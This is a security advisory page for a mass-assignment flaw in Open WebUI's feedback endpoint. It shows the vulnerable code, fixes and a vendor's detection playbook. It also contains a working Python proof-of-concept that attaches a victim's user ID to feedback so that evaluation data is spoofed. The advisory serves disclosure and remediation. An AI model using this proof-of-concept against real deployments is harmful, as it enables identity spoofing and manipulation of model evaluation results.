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MEDIUM severity

GHSA-rjmp-vjf2-qf4g

MEDIUM

GHSA-rjmp-vjf2-qf4g is a medium-severity (CVSS 5.4) CWE-915 vulnerability in open-webui. O3 Security confirms whether GHSA-rjmp-vjf2-qf4g is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Open WebUI: Mass Assignment via FeedbackForm extra=allow Allows Feedback User ID Spoofing and Evaluation Data Manipulation

Also known asCVE-2026-45396PYSEC-2026-2756
Published
May 14, 2026
Updated
Jul 13, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Aug 9, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-rjmp-vjf2-qf4g.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs23th percentile — riskier than 23% of all scored CVEsHighest risk
0.00%0.27%0.54%0.81%0.3%0.3%0.3%Jul 26Aug 26Aug 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-rjmp-vjf2-qf4g plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 0 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐍open-webui

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Mass Assignment in Feedback Creation Allows User ID Spoofing and Evaluation Data Manipulation

Summary

The POST /api/v1/evaluations/feedback endpoint in Open WebUI v0.9.2 is vulnerable to mass assignment via FeedbackForm, which uses model_config = ConfigDict(extra='allow'). Due to an insecure dictionary merge order in insert_new_feedback(), an authenticated attacker can inject a user_id field in the request body that overwrites the server-derived value, creating feedback records attributed to any arbitrary user. This corrupts the model evaluation leaderboard (Elo ratings) and enables identity spoofing.

Details

The vulnerability exists in two layers:

1. Model Layer — Insecure Dict Merge Order

File: backend/open_webui/models/feedbacks.py, lines 148–160

async def insert_new_feedback(
    self, user_id: str, form_data: FeedbackForm, db: Optional[AsyncSession] = None
) -> Optional[FeedbackModel]:
    async with get_async_db_context(db) as db:
        id = str(uuid.uuid4())
        feedback = FeedbackModel(
            **{
                'id': id,
                'user_id': user_id,       # ← Server-set from auth token
                'version': 0,
                **form_data.model_dump(),  # ← OVERWRITES 'id', 'user_id', 'version'
                'created_at': int(time.time()),
                'updated_at': int(time.time()),
            }
        )

In Python, when a dictionary literal contains duplicate keys, the last value wins. Since **form_data.model_dump() appears after 'user_id': user_id, any user_id field in the form data overwrites the authenticated user's ID.

2. Schema Layer — extra='allow' on Request Form

File: backend/open_webui/models/feedbacks.py, line 106

class FeedbackForm(BaseModel):
    type: str
    data: Optional[RatingData] = None
    meta: Optional[dict] = None
    snapshot: Optional[SnapshotData] = None
    model_config = ConfigDict(extra='allow')  # ← Accepts arbitrary extra fields

The extra='allow' config means Pydantic will accept and preserve any extra fields in the request body, including user_id, id, and version. These are then spread into the FeedbackModel constructor, overwriting server-set values.

Contrast with Secure Pattern

Other models in the same codebase use the correct ordering. For example, backend/open_webui/models/functions.py, line 120:

function = FunctionModel(**{
    **form_data.model_dump(),   # ← Spread FIRST
    'user_id': user_id,         # ← Server value AFTER → always wins
})

And ModelForm at backend/open_webui/models/models.py uses extra='ignore', which is the strictest approach.

Impact

1. User Identity Spoofing

An attacker can create feedback records attributed to any user by specifying their user_id. The admin export endpoint (GET /api/v1/evaluations/feedbacks/export) and admin list (GET /api/v1/evaluations/feedbacks/all) will show the spoofed user_id as the feedback author.

2. Model Evaluation Leaderboard Manipulation

The Elo rating system at backend/open_webui/routers/evaluations.py computes model rankings directly from feedback records. An attacker can inject fake rating feedback to:

  • Artificially inflate ratings for a specific model
  • Deflate ratings for competitor models
  • Make organizational model evaluation decisions unreliable

3. Record ID Control

By injecting a custom id, an attacker controls the UUID of the feedback record. While this won't overwrite existing records (primary key constraint), it enables predictable record IDs that could be useful in other attack chains.

PoC

import requests

BASE_URL = "http://localhost:8080"

# 1. Login as attacker
session = requests.Session()
login_resp = session.post(f"{BASE_URL}/api/v1/auths/signin", json={
    "email": "[email protected]",
    "password": "attackerpass"
})
token = login_resp.json()["token"]
headers = {"Authorization": f"Bearer {token}"}

# 2. Create feedback attributed to a different user (victim)
VICTIM_USER_ID = "12345678-aaaa-bbbb-cccc-000000000000"

resp = session.post(
    f"{BASE_URL}/api/v1/evaluations/feedback",
    headers=headers,
    json={
        "type": "rating",
        "data": {
            "model_id": "gpt-4o",
            "rating": 1,
            "sibling_model_ids": ["claude-3-opus"],
        },
        # Mass assignment: these extra fields are accepted due to extra='allow'
        # and overwrite server-set values due to dict merge order
        "user_id": VICTIM_USER_ID,  # Overwrites authenticated user ID
        "version": 999,             # Overwrites default version
    }
)

feedback = resp.json()
print(f"Feedback created with user_id: {feedback['user_id']}")
# Expected: attacker's own user_id
# Actual: VICTIM_USER_ID (12345678-aaaa-bbbb-cccc-000000000000)
assert feedback["user_id"] == VICTIM_USER_ID, "Mass assignment successful!"

Severity

CVSS 3.1: 5.4 (Medium) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (any authenticated user)
  • User Interaction: None
  • Impact: Integrity (feedback data falsification) + limited Availability (leaderboard reliability)

Suggested Remediation

Option 1: Fix dict merge order (minimal fix)

feedback = FeedbackModel(
    **{
        **form_data.model_dump(),   # Spread FIRST
        'id': id,                    # Server values AFTER (always win)
        'user_id': user_id,
        'version': 0,
        'created_at': int(time.time()),
        'updated_at': int(time.time()),
    }
)

Option 2: Remove extra='allow' from FeedbackForm (recommended)

class FeedbackForm(BaseModel):
    type: str
    data: Optional[RatingData] = None
    meta: Optional[dict] = None
    snapshot: Optional[SnapshotData] = None
    model_config = ConfigDict(extra='ignore')  # Reject unexpected fields

Option 3: Explicit field assignment (most secure)

feedback = FeedbackModel(
    id=str(uuid.uuid4()),
    user_id=user_id,
    version=0,
    type=form_data.type,
    data=form_data.data.model_dump() if form_data.data else {},
    meta=form_data.meta or {},
    snapshot=form_data.snapshot.model_dump() if form_data.snapshot else {},
    created_at=int(time.time()),
    updated_at=int(time.time()),
)

Affected Versions

  • v0.9.2 (current latest, confirmed vulnerable)
  • Likely all versions since feedback/evaluation feature was introduced

References

  • Prior advisory: "Mass Assignment via Pydantic extra='allow' Allows Creating Folders in Other Users' Accounts" (patched in v0.9.0) — same root cause class, different endpoint

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIopen-webuiall versions0.9.5

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for open-webui. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update open-webui to 0.9.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-rjmp-vjf2-qf4g is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-rjmp-vjf2-qf4g is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-rjmp-vjf2-qf4g. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

# Mass Assignment in Feedback Creation Allows User ID Spoofing and Evaluation Data Manipulation ## Summary The `POST /api/v1/evaluations/feedback` endpoint in Open WebUI v0.9.2 is vulnerable to mass assignment via `FeedbackForm`, which uses `model_config = ConfigDict(extra='allow')`. Due to an insecure dictionary merge order in `insert_new_feedback()`, an authenticated attacker can inject a `user_id` field in the request body that overwrites the server-derived value, creating feedback records attributed to any arbitrary user. This corrupts the model evaluation leaderboard (Elo ratings) and e
O3 Security · Impact-Aware SCA

Is GHSA-rjmp-vjf2-qf4g in your dependencies?

O3 detects GHSA-rjmp-vjf2-qf4g across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.